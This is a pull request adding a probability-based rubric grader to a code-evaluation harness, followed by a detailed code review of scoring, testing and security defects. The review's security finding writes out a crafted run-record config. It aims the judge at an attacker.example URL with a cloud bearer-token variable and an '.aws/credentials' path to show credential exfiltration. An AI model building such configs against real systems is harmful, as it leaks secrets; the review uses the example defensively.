feat(criteria): add system_one_judge, a typed-rubric grader on a System One model

[akshaylive]

What

Adds a new success criterion, system_one_judge, that grades with a System One model (TypeSafe's jev) instead of a text LLM.

A System One model generates no text. It reads one state and answers a map of typed questions with calibrated probability distributions, in a single round trip. That removes the two things a text judge has to defend against — an unparseable verdict, and a tool call the model may decline to make — so the rubric the author writes is the grading schema.

- type: "system_one_judge"
  files: ["retry.py"]
  questions:
    retries:
      type: noul
      instructions: "Does fetch_with_retry loop over multiple attempts?"
      weight: 2.0
    exception_handling:
      type: choice
      instructions: "How does the function catch failures from requests.get?"
      criteria: [none, bare_except, broad_exception, specific_timeout]
      expected: specific_timeout
    documentation:
      type: score
      instructions: "How well does the docstring describe what it does?"
      criteria: ["absent", "a bare restatement of the name", "states the behaviour and the failure mode"]

Design decisions

The grade is computed harness-side, not asked for. Each question resolves to a value in [0,1] through its own expected/values, and the criterion score is their weighted mean. That buys determinism, a grade recomputable from an archived transcript, and findings that print the arithmetic per question rather than arguing it in prose:

retries:              P(yes)=0.99, expected=true  -> 0.99 (weight 2)
exception_handling:   choice='specific_timeout' (confidence 1.00) -> 1.00 (weight 2)
documentation:        score=2.00/2 (confidence 1.00)              -> 1.00 (weight 1)

A transport failure escalates the row to ERROR rather than scoring it 0.0, unlike llm_judge's unconfigured-transport arm. An ungraded row must not read as a failed one.

It deliberately does not honour checker_context.api_route — that resolves a text judge model, which is not a substitute for a System One model.

choice options accept a bare list when the names speak for themselves; it widens to the option→description map with null descriptions. I verified against the live endpoint that nulls are accepted rather than assuming it from the mocks. Order is preserved; a repeated option is a load-time error.

Trajectory and conversation are opt-in state. Beyond files, three flags widen what the judge reads: include_agent_output (the agent's final message), include_tool_calls (its tool-call trajectory) and include_dialog (the simulated exchange). A rubric can therefore grade how the agent worked and whether its summary was honest, not just the artifact.

Removed a drift hazard

reports/html.py carried a hardcoded ("llm_judge", "agent_judge") tuple duplicating the frozenset in results.py. Rather than add a third copy, the frozenset is now public JUDGE_CRITERION_TYPES and both read it.

Testing

• 30 unit tests covering the pure reduction, rubric validation and the checker.
• tests/test_system_one_judge_live.py pins the external wire shape — notably the string level keys ("0", "1", …) in a score answer's probabilities, exactly the kind of thing a mock keeps agreeing with after the wire changes. Wired into the live-tests job.
• tasks/smoke_system_one_judge.yaml runs end-to-end in the smoke-pass bucket beside smoke_llm_judge, exercising all three primitives across all three state slices. Verified locally against Bedrock + the real TypeSafe API: SUCCESS, score 0.987, judge cost $0.000045.
• make verify (6034 passed), make lint (677 passed), make docs-budget all green.

🤖 Generated with Claude Code

[uipreliga]

Review: coder_eval_uipath — PR #192 (current branch vs main, 22 files) — all 8 axes

Scope: PR #192 (current branch vs main, 22 files) — all 8 axes · branch akshaya/system_one_judge · ea26c40 · 2026-09-22T19:59Z · workflow variant

Change class: complex — adds a new LLM-judge criterion type with a new model schema, network invocation, scoring/reduction logic, pricing entry and CI workflow changes

The system_one_judge PR has a clean architecture and follows the existing judge patterns (8.3/10), but its scoring path fails open: NaN, Infinity and inf-weight values map to full credit, a response with no answers map scores as an agent failure, and the floating jev-latest default lets the same output get a different grade from night to night; also, the regrade consent gate does not report the new judge, so a crafted run record can send a host secret to any URL. Fix the scoring integrity and the credential-exfiltration defects before merge.

Summary

Axis	Score	🔴	🟠	🟡	🔵	Top Issue
1. Code Quality & Style	8.6 / 10	0	0	2	4	judge_system_one.py copies judge_bedrock.py's POST/retry loop almost token for token (2 sites, same bug surface)
2. Type Safety	6 / 10	0	2	4	0	NaN/Infinity answer values pass the isinstance check and _clamp maps them to full credit
3. Test Health	6.3 / 10	0	2	3	2	Reference anti-cheat scrub has no regression test for system_one_judge, and a confirmed leak shipped through the gap
4. Security	9 / 10	0	1	0	0	system_one_judge base_url + api_key_env is not disclosed by the detached-grading gate, so a crafted run record can send a host secret to any URL
5. Architecture & Design	9.4 / 10	0	0	1	1	system_one_judge accepts $REFERENCE_DIR/ entries in files but is missing from TaskDefinition's reference-consumer validator
6. Error Handling & Resilience	8.9 / 10	0	1	0	1	A 200 response with no usable answers map is scored 0.0 against the agent instead of escalating as a judge-infrastructure fault
7. API Surface & Maintainability	9.9 / 10	0	0	0	1	The field that holds a question's options is named criteria, which collides with the harness's own term 'criteria' inside a criterion
8. Evaluation Harness Quality	7.9 / 10	0	1	2	1	Default model is the floating alias jev-latest, so grades drift across runs and the served version is never recorded

Overall Score: 8.3 / 10 · Weakest Axis: Type Safety at 6 / 10
Totals: 🔴 0 · 🟠 7 · 🟡 12 · 🔵 10 across 8 axes.

Blockers

1. [Axis 2] NaN/Infinity answer values pass the isinstance check and _clamp maps them to full credit (src/coder_eval/evaluation/system_one_scoring.py:72) — def _clamp(value: float) -> float: return max(0.0, min(1.0, value)) (line 72-73) returns 1.0 for NaN because min(1.0, nan) == 1.0. The only gate on the wire values is if not isinstance(raw, int | float) or isinstance(raw, bool) (lines 82, 112, 63), and a float NaN/inf passes it. httpx's response.json() uses json.loads, which accepts the NaN/Infinity tokens, and base_url can point at any gateway or proxy. The probe confirmed that {'noul': nan}, {'score': nan} and {'probabilities': {'0': nan}} each give verdict score 1.0. The root cause is that invoke_system_one_async (judge_system_one.py:44-47) takes state: Any and returns dict[str, Any], and the checker (criteria/system_one_judge.py:93-95) reads response.get("answers") untyped. A missing or non-dict answers silently becomes {}, so every question scores 0.0 and the row is not escalated. Fix: parse the response into a Pydantic model with allow_inf_nan=False (e.g. SystemOneResponse{answers: dict[str, NoulAnswer|ChoiceAnswer|ScoreAnswer], usage: ...}). Raise JudgeInfrastructureError when answers is missing or not a dict. Put if not math.isfinite(x) before every clamp (review criterion 15). Cross-axis: Harness (8) scoring-correctness and Error Handling (6). Lint candidate: flag a max(lo, min(hi, x)) clamp with no preceding math.isfinite.
2. [Axis 2] Rubric question weight accepts +inf, so a malformed YAML weight passes validation and an all-zero rubric scores 1.0 (src/coder_eval/models/system_one.py:43) — weight: float = Field(default=1.0, gt=0.0, ...) (lines 43-50) rejects NaN but accepts .inf. In reduce_answers, weighted_total / weight_total is inf/inf or 0*inf = NaN, and _clamp(NaN) gives 1.0. The probe confirmed that a rubric with weight: .inf where every answer is 0.0 scores 1.0, so malformed task YAML passes TaskDefinition validation and yields a passing grade. A very large finite weight (a sum that overflows to inf) has the same effect. Add allow_inf_nan=False (or lt= a sane cap) to weight. Also apply it to SystemOneJudgeCriterion.timeout_seconds (models/criteria.py:1517, gt=0.0 accepts inf, which means no timeout). Guard score with math.isfinite in reduce_answers (system_one_scoring.py:175).
3. [Axis 3] Reference anti-cheat scrub has no regression test for system_one_judge, and a confirmed leak shipped through the gap (tests/test_system_one_judge.py:323) — The sibling judges carry leak-canary tests (tests/test_agent_judge_criterion.py:850 test_agent_judge_scrubs_reference_from_transcript, :989 test_agent_judge_prompt_capture_scrubs_reference; tests/test_llm_judge_criterion.py:246). The new judge has none. Its only transcript tests are test_transcript_captures_the_rubric_and_the_answers (line 323) and test_transcript_is_dropped_when_not_requested (line 330), and neither passes a reference_dir. include_reference defaults to True (models/criteria.py). The missing test lets a real leak through. src/coder_eval/criteria/system_one_judge.py:105 persists judge_prompt=json.dumps(state, indent=2, default=str). scrub_reference (judge_context.py:115) is a literal out.replace(s, ...) on the raw per-file contents, and JSON escaping turns a multi-line or quoted file into \n / \", so the replace never matches. I ran a probe: reference file def solve():\n return "SENTINEL_ANSWER_42"\n plus the default criterion gave LEAK in judge_prompt: True. The persisted judge_prompt was "reference_solution": "--- sol.py ---\ndef solve():\n return \"SENTINEL_ANSWER_42\"\n". Fix: scrub the state before you serialize it, or scrub with JSON-escaped variants of each secret too. Then add a canary test that uses a MULTI-LINE, QUOTED reference file and asserts the sentinel is absent from transcript.judge_prompt, details and findings. A single-line sentinel would pass by accident.
4. [Axis 3] invoke_system_one_async (retry/escalation gate) has zero hermetic tests — 18% coverage (src/coder_eval/evaluation/judge_system_one.py:62) — The routed coverage shows lines 62-107 missed. Every unit test patches coder_eval.criteria.system_one_judge.invoke_system_one_async out, and the live test covers only the happy path. None of the gates that decide ERROR versus a scored row runs in make test: if not api_key: raise JudgeInfrastructureError("system_one_judge requires an API key") (line 66), _is_retryable_status 429/5xx retry (line 91), if response.status_code >= 300: raise JudgeInfrastructureError for 401/422 (line 96), the non-JSON and non-object body checks (lines 100-105), and retry exhaustion raise JudgeInfrastructureError(... (after {attempts} attempts)) from last_exc (line 107). .env.example and pr-checks.yml both say a missing key escalates to ERROR, but no test asserts it. tests/test_judge_bedrock.py already has the pattern: it monkeypatches httpx2.AsyncClient with a fake .post plus a no_sleep fixture, and tests happy path, 4xx fail-fast, 5xx exhaustion, 429-then-success, ConnectError-then-success, non-dict body and malformed JSON. Mirror that suite for judge_system_one, and also assert the /systemone URL join with a trailing-slash base_url and the Bearer header.
5. [Axis 4] system_one_judge base_url + api_key_env is not disclosed by the detached-grading gate, so a crafted run record can send a host secret to any URL (src/coder_eval/criteria/system_one_judge.py:86) — The sink is lines 84-86: response = await invoke_system_one_async( / base_url=criterion.base_url, / api_key=os.environ.get(criterion.api_key_env, ""),. judge_system_one.py:72 then sends it as "Authorization": f"Bearer {api_key}" to f"{base_url.rstrip('/')}/systemone". Both base_url and api_key_env are free-form str fields on SystemOneJudgeCriterion (models/criteria.py). The contract says the recorded config is untrusted input: evaluate <run_dir> rebuilds the task from task.json, and orchestration/regrade.py embedded_commands() is the consent gate for it. That gate reports RunCommand, AgentJudge, LLMJudge (<llm_judge: sends artifacts to {c.model} on your credentials>) and UiPathEval. It has NO branch for SystemOneJudgeCriterion. So a crafted run directory with {type: system_one_judge, base_url: https://attacker.example, api_key_env: AWS_BEARER_TOKEN_BEDROCK (or ANTHROPIC_API_KEY, GITHUB_TOKEN, ...), files: ["$TASK_DIR/../../.aws/credentials"]} is graded with no prompt and no --allow-recorded-commands. The grader's secret goes out in the Authorization header. Arbitrary host files go out in state too, because _resolve_host_path lets the path go outside its base, and it justifies this with 'the task YAML is already trusted since run_command can run shell'. That reasoning fails on the regrade path, where run_command IS gated. This is a new exfiltration primitive: before this change no judge let the config choose both the destination URL and the credential. Fix: (1) Make api_key_env a fixed constant, or limit it to an allowlist (for example, names matching TYPESAFE_*). Do not accept an arbitrary env-var name. (2) Validate that base_url is https. Also refuse a non-default host unless the operator opts in, or add a SystemOneJudgeCriterion branch to embedded_commands() that reports <system_one_judge: sends ${api_key_env} and artifacts to {base_url}>, so the existing consent gate refuses it by default. (3) Add a regrade test that proves a recorded non-default base_url/api_key_env is refused without --allow-recorded-commands. (4) Consider a lint rule: every judge-type criterion in the SuccessCriterion union must have an embedded_commands branch. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
6. [Axis 6] A 200 response with no usable answers map is scored 0.0 against the agent instead of escalating as a judge-infrastructure fault (src/coder_eval/criteria/system_one_judge.py:93-96) — answers = response.get("answers") / reduce_answers(criterion.questions, answers if isinstance(answers, dict) else {}, mode=criterion.scoring). When the provider returns a JSON object with no answers key, or with answers that is not a dict (a provider error envelope, a schema change, a proxy page wrapped in JSON), every question falls into the 'no answer returned — scored 0.00' branch. The row then finalizes as a graded FAILED with score 0.0. This is an infrastructure fault, so it must not count against the agent's pass rate. The code contradicts its own contract in .claude/notes/contracts.md § System One rubric scoring: 'a model that answers off-schema is a wire fault, not a grading fault' and 'an ungraded row must not read as a failed one'. It is also inconsistent with invoke_system_one_async, which already raises JudgeInfrastructureError for a body that 'is not a JSON object' (judge_system_one.py:104-105) but accepts an object that has no answers. Fix: in invoke_system_one_async, also raise JudgeInfrastructureError when data.get("answers") is not a dict, and consider raising when NO question was answered. Remove the silent else {} fallback. Add a test where the mocked response is {} or {"answers": null} and assert pytest.raises(JudgeInfrastructureError).
7. [Axis 8] Default model is the floating alias jev-latest, so grades drift across runs and the served version is never recorded (src/coder_eval/models/judge_defaults.py:13) — DEFAULT_SYSTEM_ONE_MODEL = "jev-latest". The provider can re-point this alias, so the same task and the same agent output can get a different score / final_status across nightly runs without any change in this repo. The run record cannot show it either: token_usage_from_anthropic_dict(response, model=criterion.model) (criteria/system_one_judge.py L97) records the requested alias, and the transcript stores only answers, not a served-model field from the response. The contracts note sells this criterion on "the same answers always produce the same grade", but the answers are not pinned. llm_judge defaults to a pinned id (anthropic.claude-sonnet-4-6), and pricing.py L143 already knows the pinned jev-1.13.0. Fix: default to jev-1.13.0. Persist the response's served model/version (if the API returns one) on the transcript or token_usage.model, so cross-run comparisons can see a judge change.

Non-blocking, but please consider before merge

1. [Axis 1] judge_system_one.py copies judge_bedrock.py's POST/retry loop almost token for token (2 sites, same bug surface) (src/coder_eval/evaluation/judge_system_one.py:77-107) — Lines 31-36 and 77-107 copy src/coder_eval/evaluation/judge_bedrock.py:41-46 and 97-127 almost token for token. Only the log label differs. Both have _X_RETRY = RetryConfig(max_retries=3, initial_delay=2.0, backoff_multiplier=2.0), an identical _is_retryable_status (return status_code == 429 or status_code >= 500), and the same attempts = ...max_retries + 1 / last_failure = "" / last_exc loop with if _is_retryable_status(response.status_code): ... continue, if response.status_code >= 300: raise JudgeInfrastructureError(...), the response.json() ValueError arm, the non-dict arm and the final raise JudgeInfrastructureError(f"{last_failure} (after {attempts} attempts)") from last_exc. This copy is also the routed radon C(11) hotspot, invoke_system_one_async. Move the loop into one helper, for example post_json_with_retry(url, headers, body, *, timeout, label, retry=_JUDGE_RETRY) -> dict[str, Any] in evaluation/ or errors/retry.py, and call it from both invokers. invoke_system_one_async then only validates its arguments and builds the URL, body and headers. With one helper, a later change to the retry or escalation policy (for example making 408 retryable, or changing the body-truncation length) cannot drift between the two judges.
2. [Axis 1] Judge-context fields and checker boilerplate copied a third time instead of shared, so type-gated consumers miss the new judge (src/coder_eval/models/criteria.py:1405-1538) — SystemOneJudgeCriterion copies the whole judge-context field block again: enabled, files, include_reference, include_agent_output, include_tool_calls, include_dialog, max_dialog_chars, max_file_chars, capture_transcript, max_transcript_chars (lines 1405-1538). The same block is already in LLMJudgeCriterion (1086-1198) and AgentJudgeCriterion (1246-1359). The checker also copies the if not criterion.enabled: return JudgeCriterionResult(... score=1.0, details="(skipped: enabled=false)") gate and the 7-kwarg JudgeContextBuilder(files=criterion.files, include_reference=..., ... max_file_chars=criterion.max_file_chars) call a third time (criteria/system_one_judge.py:52-75; compare llm_judge.py:85-105 and agent_judge.py:120-155). There is no shared base type, so every isinstance(c, LLMJudgeCriterion | AgentJudgeCriterion) consumer must be found and extended by hand, and this PR misses two of them. First, models/tasks.py:711 still checks only LLMJudgeCriterion | AgentJudgeCriterion for $REFERENCE_DIR in files, so a system_one_judge that lists $REFERENCE_DIR/... without a reference: block is accepted at load time. Second, orchestration/regrade.py:207-225 has no system_one_judge arm, so the detached-grading disclosure never mentions that the criterion sends artifacts to base_url. Fix: extract a JudgeContextCriterion(BaseSuccessCriterion) intermediate base that holds these fields, plus a JudgeContextBuilder.from_criterion(c) classmethod. Then make the tasks.py and regrade.py guards test isinstance(c, JudgeContextCriterion), so the next judge type is covered automatically.
3. [Axis 2] Empty model (and other empty strings) pass validation, then a runtime ValueError becomes a scored 0.0 (src/coder_eval/models/criteria.py:1494) — model: str = Field(default=DEFAULT_SYSTEM_ONE_MODEL, ...) (line 1494), base_url: str (1502) and api_key_env: str (1510) have no min_length=1, and neither does BaseSystemOneQuestion.instructions (system_one.py:37). The probe confirmed that all four accept "". With model: "", invoke_system_one_async raises ValueError("invoke_system_one_async: model must not be empty") (judge_system_one.py:62-63). handle_criterion_errors_async (criteria/base.py:151-155) catches it with except Exception and returns a failed 0.0 result, so an authoring error is graded as agent failure. The comment at judge_system_one.py:59-61 ('Raise, not assert: the wrapper ... downgrades it to a scored 0.0') implies that a raise avoids this, but it does not. Add min_length=1 on these fields so the error happens at load time. Consider AnyHttpUrl for base_url. Then delete the runtime ValueError checks and the misleading comment.
4. [Axis 2] NoulQuestion.criteria is typed dict[str, str], so keys outside the documented 'true'/'false' pass silently, and the natural unquoted YAML true: key is rejected with an unclear error (src/coder_eval/models/system_one.py:61) — criteria: dict[str, str] | None = Field(default=None, description=("... as a map with 'true' and/or 'false' keys ...")) (lines 61-67). The probe confirmed that criteria: {"yes": a, "maybe": b} validates and goes to the API unchanged. An author who writes criteria: {true: ..., false: ...} gets Input should be a valid string [input_value=True, input_type=bool], because YAML parses those keys as booleans. Type the field as dict[Literal["true", "false"], str] | None, with a mode='before' validator that maps bool keys to 'true'/'false'.
5. [Axis 2] ChoiceQuestion bare-list widening calls str() on any YAML value, so dict/list/null/bool options become silent option keys (src/coder_eval/models/system_one.py:115) — keys = [str(option) for option in options] (line 115) accepts any element type. The probe confirmed that criteria: [{a: b}, [1,2], null] validates to options "{'a': 'b'}", '[1, 2]', 'None', and that [yes, no] becomes 'True'/'False', which are sent to the API as option names. A stray empty list item (- ) therefore becomes a real option named 'None'. Reject non-str elements in _widen_bare_option_list, or allow only str/int, so malformed YAML fails at load time.
6. [Axis 2] Three unjustified inline # pyright: ignore[reportIncompatibleVariableOverride] markers exist only because the base class declares an unnecessary type: str (src/coder_eval/models/system_one.py:59) — Line 36 has type: str on BaseSystemOneQuestion. The subclasses override it with type: Literal["noul"] = "noul" # pyright: ignore[reportIncompatibleVariableOverride] (lines 59, 85, 147). None of these has a justification, and they differ from models/criteria.py, which records the reason once in a file-level pragma (lines 3-6). The base class is never a union member, and build_questions_payload reads .type only on the concrete union, so remove type: str from the base class and delete the three ignores. If the base field must stay, use the file-level pragma with its justification, as criteria.py does.
7. [Axis 3] Score-gate branches of reduce_answers untested: score-question argmax, zero-mass fallback, non-numeric score, noul 0.5 boundary (tests/test_system_one_judge.py:77) — Argmax is tested only for noul (line 77) and choice (lines 93, 107). The ScoreQuestion argmax path never runs: in system_one_scoring.py:124-125 if value is None: value = levels[round(position)] is the path argmax always takes for a score question, and coverage lists line 125 as missed. The round() of a fractional position (banker's rounding at .5) is the branch that decides that score, and no test checks it. Also untested: if total <= 0.0: return None (line 68, an all-zero distribution falls back to the point answer), raise _QuestionError(f"expected a numeric 'score'...") (line 113), raise _QuestionError(f"expected a string 'choice'...") (line 94), and the noul argmax threshold float(agreement >= 0.5) at exactly 0.5 (line 86). Add direct reduce_answers assertions: score argmax with position 1.5 and 2.5, an all-zero probabilities map, a string 'score', a non-string 'choice', and noul=0.5 in argmax mode.
8. [Axis 3] Rubric validator reject branches untested: choice empty/over-cap options, unknown values key, out-of-range choice and score values (src/coder_eval/models/system_one.py:131) — The routed coverage lists models/system_one.py lines 111, 124, 126, 133, 135 and 172 as missed. These are the load-time guards that stop a malformed rubric: raise ValueError(f"choice question's values[{option!r}] is not one of its options") (133), raise ValueError(f"choice question's values[{option!r}]={value} is outside [0.0, 1.0]") (135), raise ValueError(f"score question's values[{i}]={value} is outside [0.0, 1.0]") (172), the empty-criteria guard (124), and the 255-option cap (126). A typo'd values key would otherwise silently score that option 0.0. Add one pytest.raises(ValueError, match=...) per branch in tests/test_system_one_judge.py next to the existing validator tests (lines 199-220).
9. [Axis 3] Checker state rendering untested for reference/dialog sections, the per-section max_state_chars cap, and a response missing 'answers' (src/coder_eval/criteria/system_one_judge.py:146) — The routed coverage lists lines 147 and 153 as missed. state["reference_solution"] = context.reference[:max_section_chars] (147) and the include_dialog block state["dialog"] = [...] (153) never run in a test. No test checks the documented max_state_chars per-section cap (prompt[:max_section_chars], file truncation at line 144). No test checks the answers if isinstance(answers, dict) else {} fallback (line 95), which turns a 200 response without answers into a 0.0 score. Extend test_trajectory_and_conversation_are_opt_in to cover include_dialog and include_reference. Add a test that a small max_state_chars truncates each section on its own. Add a test that pins the scored-versus-escalated behaviour for a response with no answers key.
10. [Axis 5] system_one_judge accepts $REFERENCE_DIR/ entries in files but is missing from TaskDefinition's reference-consumer validator (src/coder_eval/models/criteria.py:1440) — SystemOneJudgeCriterion.files (criteria.py:1440) documents that "entries prefixed with '$TASK_DIR/' or '$REFERENCE_DIR/' are read from the host filesystem", and it goes through the same JudgeContextBuilder. But models/tasks.py::check_reference_consumers_have_a_reference narrows only elif isinstance(c, LLMJudgeCriterion | AgentJudgeCriterion) and any(path_uses_token(f, REFERENCE_DIR_TOKEN) for f in c.files) (tasks.py:711-712). A system_one_judge task that uses $REFERENCE_DIR/... but has no reference: block therefore loads without an error. At run time it silently renders <file not found> into the state, and that is exactly the silent degradation the validator exists to stop. This is pattern drift between parallel judge criteria. Add SystemOneJudgeCriterion to that union. Better, give the three judge criteria a shared base or protocol (see the DRY finding), so the validator narrows on that type once. n/a
11. [Axis 8] system_one_judge ERRORs on every row under driver: docker by default: TYPESAFE_API_KEY is not in the container env allowlist (src/coder_eval/evaluation/judge_system_one.py:66-67) — Grading runs in the in-container Orchestrator. SandboxConfig.env_passthrough (models/sandbox.py L209-259) forwards ANTHROPIC_API_KEY, AWS_BEARER_TOKEN_BEDROCK, CODEX_API_KEY, GEMINI_API_KEY and others, but not TYPESAFE_API_KEY or any custom api_key_env. A docker task (the nightly production path) that adopts this criterion therefore hits if not api_key: raise JudgeInfrastructureError("system_one_judge requires an API key") on every row, even though the key is set on the host. The message sends the operator to the wrong fix. The PR docs (TASK_DEFINITION_GUIDE § system_one_judge, .env.example, tasks/README.md) do not mention docker. Fix: add TYPESAFE_API_KEY to the default env_passthrough (or forward the criterion's api_key_env automatically). Make the error name the variable, for example f"{api_key_env} is not set (under driver: docker, add it to sandbox.env_passthrough_extra)". Add one docs line. Nightly impact: none today, because no existing task uses the criterion. Once a docker nightly task opts in, it needs this and an image built from a coder_eval that knows the system_one_judge discriminator (an older image rejects the task YAML at load).
12. [Axis 8] max_state_chars is documented as an aggregate cap but is applied per section and per file, so the state size is unbounded (src/coder_eval/models/criteria.py:1489-1491) — The description reads: "Aggregate cap on the rendered state, applied per section after the per-file caps. The API rejects a request over its own context limit outright, so the default is deliberately well inside it". _build_state (criteria/system_one_judge.py L143-156) instead slices EACH file, the reference, agent_output, tool_calls and EACH dialog message independently to max_section_chars. With 10 files at max_file_chars=20_000 plus a 100k reference, the state is about 300k chars. The API then rejects it with a non-retryable 4xx, and the row escalates to ERROR. The guarantee the description makes ("well inside" the API limit) does not hold. The guide also says "Each section is capped independently by max_state_chars" (docs/TASK_DEFINITION_GUIDE.md L1389), which contradicts the field description. Fix: either enforce a real aggregate budget (as max_dialog_chars does for the dialog) or rename and redocument the field as a per-section cap and drop the "well inside" claim. Add a test with many files that asserts the rendered size.

Nits

1. [Axis 1] Repeated numeric-type predicate and confidence-detail block in system_one_scoring.py (src/coder_eval/evaluation/system_one_scoring.py:63,82,105,112,128) — The predicate isinstance(x, int | float) and not isinstance(x, bool) appears 5 times: line 63 (if not isinstance(raw, int | float) or isinstance(raw, bool)), lines 82 and 112 (the same check on raw), and lines 105 and 128 (if isinstance(confidence, int | float) and not isinstance(confidence, bool)). The confidence-suffix block detail += f" (confidence {float(confidence):.2f})" is also duplicated verbatim in _resolve_choice (97, 105-106) and _resolve_score (127-129). Add a _is_number(x) -> TypeGuard[int | float] helper and a _confidence_suffix(answer) -> str helper. This removes the copies and also reduces the B(9) complexity of _resolve_choice and _resolve_score.
2. [Axis 1] build_questions_payload has two identical match arms (src/coder_eval/evaluation/system_one_scoring.py:41-48) — The case ChoiceQuestion(): body["criteria"] = question.criteria and case ScoreQuestion(): body["criteria"] = question.criteria arms are identical. The only real difference is that NoulQuestion.criteria is optional. Replace the whole match with if question.criteria: body["criteria"] = question.criteria. ChoiceQuestion and ScoreQuestion criteria are validated non-empty, so behaviour does not change. The type ladder then goes away, and adding a fourth primitive does not need an edit here.
3. [Axis 1] ScoringMode Literal duplicated and rubric non-emptiness enforced in several places (src/coder_eval/models/criteria.py:1431,1540-1542) — _check_rubric (1540-1542: if not self.questions: raise ValueError("system_one_judge needs at least one entry in 'questions'")) is a hand-written validator for what Field(min_length=1) on questions (line 1414) gives declaratively. The invoker checks it again (judge_system_one.py:64 if not questions: raise ValueError(...)), which cannot trigger for a validated criterion. Separately, scoring: Literal["expected", "argmax"] (line 1431) is written out a second time as ScoringMode = Literal["expected", "argmax"] in evaluation/system_one_scoring.py:32. Define the alias once, in models/system_one.py, and annotate the field with it. Use min_length=1 and delete the custom validator.
4. [Axis 1] .env.example TypeSafe block splits the Bedrock block, leaving BEDROCK_SMALL_MODEL under the TypeSafe heading (.env.example:39-40) — The new block was inserted between # BEDROCK_MODEL=... and # BEDROCK_SMALL_MODEL="eu.anthropic.claude-haiku-4-5". As a result, line 40 (BEDROCK_SMALL_MODEL) now follows # TYPESAFE_API_KEY="<your_typesafe_api_key_here>" (line 39) under the TypeSafe comment. Move the TypeSafe block after the BEDROCK_SMALL_MODEL line, so that each variable stays under its own section heading.
5. [Axis 3] New JUDGE_CRITERION_TYPES membership for system_one_judge not asserted in legacy round-trip or HTML judge section (src/coder_eval/models/results.py:243) — JUDGE_CRITERION_TYPES = frozenset({"llm_judge", "agent_judge", "system_one_judge"}) now drives the legacy result_kind inference and the reports/html.py:443 gate if cr.criterion_type not in JUDGE_CRITERION_TYPES. tests/test_criterion_result_round_trip.py:92 test_legacy_task_json_infers_result_kind_from_criterion_type lists only llm_judge and agent_judge. No test in tests/test_reports_html.py renders a system_one_judge row in the judge section. Add a system_one_judge entry to the legacy payload and one HTML render assertion. Better: parametrize both tests over JUDGE_CRITERION_TYPES so the next judge type is covered automatically.
6. [Axis 3] Live test applies the live marker twice (tests/test_system_one_judge_live.py:48) — The module already sets pytestmark = [_live, pytest.mark.skipif(...)] (line 34), and the function is also decorated @_live (line 48). Remove the redundant decorator.
7. [Axis 5] Core defaults, core pricing and the required smoke-pass CI gate are now coupled to one third-party vendor (TypeSafe) (src/coder_eval/models/judge_defaults.py:16) — The importable core now contains vendor-specific constants: DEFAULT_SYSTEM_ONE_BASE_URL = "https://api.typesafe.ai/v1" (judge_defaults.py:16), "jev-latest": ModelPricing(0.042, 0.0, 0.042, 0.0) (pricing.py:142), and a proprietary wire protocol (/systemone, noul) under a generic criterion name. The required smoke-pass job also now fails hard without the secret: : "${TYPESAFE_API_KEY:?TYPESAFE_API_KEY missing — needed by smoke_system_one_judge}" (pr-checks.yml:585), and it bumps EXPECTED_SMOKE_PASS_SUCCEEDED to 10. So an outage or a quota limit at the vendor now blocks every PR, and a fork or OSS contributor cannot pass smoke-pass without this vendor's key. The plugin SPI registers only agents, not criteria, so shipping the criterion in core is defensible today. But as the core goes public, consider two changes. First, move smoke_system_one_judge out of the required smoke-pass bucket (it already has the separate live-test job). Second, record in the docs or notes that the criterion is vendor-specific. The long-term fix is to let register(registry) plugins register criteria and pricing, so a vendor judge can ship outside the wheel. n/a
8. [Axis 6] URL-construction errors are either retried as transient or downgraded to a scored 0.0 (src/coder_eval/evaluation/judge_system_one.py:84-90) — except httpx2.HTTPError as e: treats every transport exception as retryable. A malformed base_url (for example, an empty string gives /systemone) raises UnsupportedProtocol, which is an HTTPError subclass. That error is retried 4 times with about 14 s of backoff before it escalates. A URL with invalid characters raises httpx2.InvalidURL, which is NOT an HTTPError subclass (verified: issubclass(httpx2.InvalidURL, httpx2.HTTPError) is False). That error escapes the loop, and the wrapper downgrades it to a scored 0.0. Fix: validate base_url at the model layer (for example, AnyHttpUrl or a validator), or map InvalidURL/UnsupportedProtocol to an immediate JudgeInfrastructureError/CheckerMisuseError without retry.
9. [Axis 7] The field that holds a question's options is named criteria, which collides with the harness's own term 'criteria' inside a criterion (src/coder_eval/models/system_one.py:87) — criteria: dict[str, str | None] = Field(...) on ChoiceQuestion, and criteria: list[str] on ScoreQuestion (line 149) and NoulQuestion (line 61), hold options, levels or yes/no clarifications. The field mirrors the wire name. But in a task YAML it appears as success_criteria: - type: system_one_judge ... questions: ... criteria: [...], and criteria means three different things across the question types. Consider an author-facing name such as options / levels with a serialization_alias of criteria, or at least state in the docs that the name mirrors the wire API.
10. [Axis 8] argmax noul at P(yes)=0.5 scores 1.0 whether expected is true or false (src/coder_eval/evaluation/system_one_scoring.py:86) — value = float(agreement >= 0.5) if mode == "argmax" else agreement. At probability exactly 0.5, agreement is 0.5 for both expected: true and expected: false, so a maximally uncertain answer passes the gate in both directions (probe: both return -> 1.00). For a mode documented as "use when the rubric is a gate", a tie should not pass. Use agreement > 0.5 and add a boundary test.

What's Missing

Parallel paths:

• 🟠 orchestration/regrade.py embedded_commands() has arms for run_command, agent_judge, llm_judge and uipath_eval only. The PR did not add a system_one_judge arm, so evaluate <run_dir> grades a recorded system_one_judge (with its recorded base_url and api_key_env) with no consent prompt. (trigger: src/coder_eval/criteria/system_one_judge.py) (restates: Axis 4: system_one_judge base_url + api_key_env is not disclosed by the detached-grading gate)
• 🟡 models/tasks.py:711 check_reference_consumers_have_a_reference still narrows on LLMJudgeCriterion | AgentJudgeCriterion. The PR did not extend it to SystemOneJudgeCriterion, which accepts $REFERENCE_DIR/ entries in files. (trigger: src/coder_eval/models/criteria.py) (restates: Axis 5: system_one_judge accepts $REFERENCE_DIR/ entries in files but is missing from TaskDefinition's reference-consumer validator)
• 🟡 models/sandbox.py SandboxConfig.env_passthrough forwards the other judge and agent keys but not TYPESAFE_API_KEY, and no code forwards a criterion's api_key_env. The Docker grading path was not updated beside the local path. (trigger: src/coder_eval/evaluation/judge_system_one.py) (restates: Axis 8: system_one_judge ERRORs on every row under driver: docker by default)
• 🟡 The reference scrub path (scrub_reference on raw file text) was not adapted for the new JSON-serialized judge_prompt. llm_judge and agent_judge persist plain text, but system_one_judge persists json.dumps(state), so the scrub does not match multi-line or quoted references. (trigger: src/coder_eval/criteria/system_one_judge.py) (restates: Axis 3: Reference anti-cheat scrub has no regression test for system_one_judge, and a confirmed leak shipped through the gap)
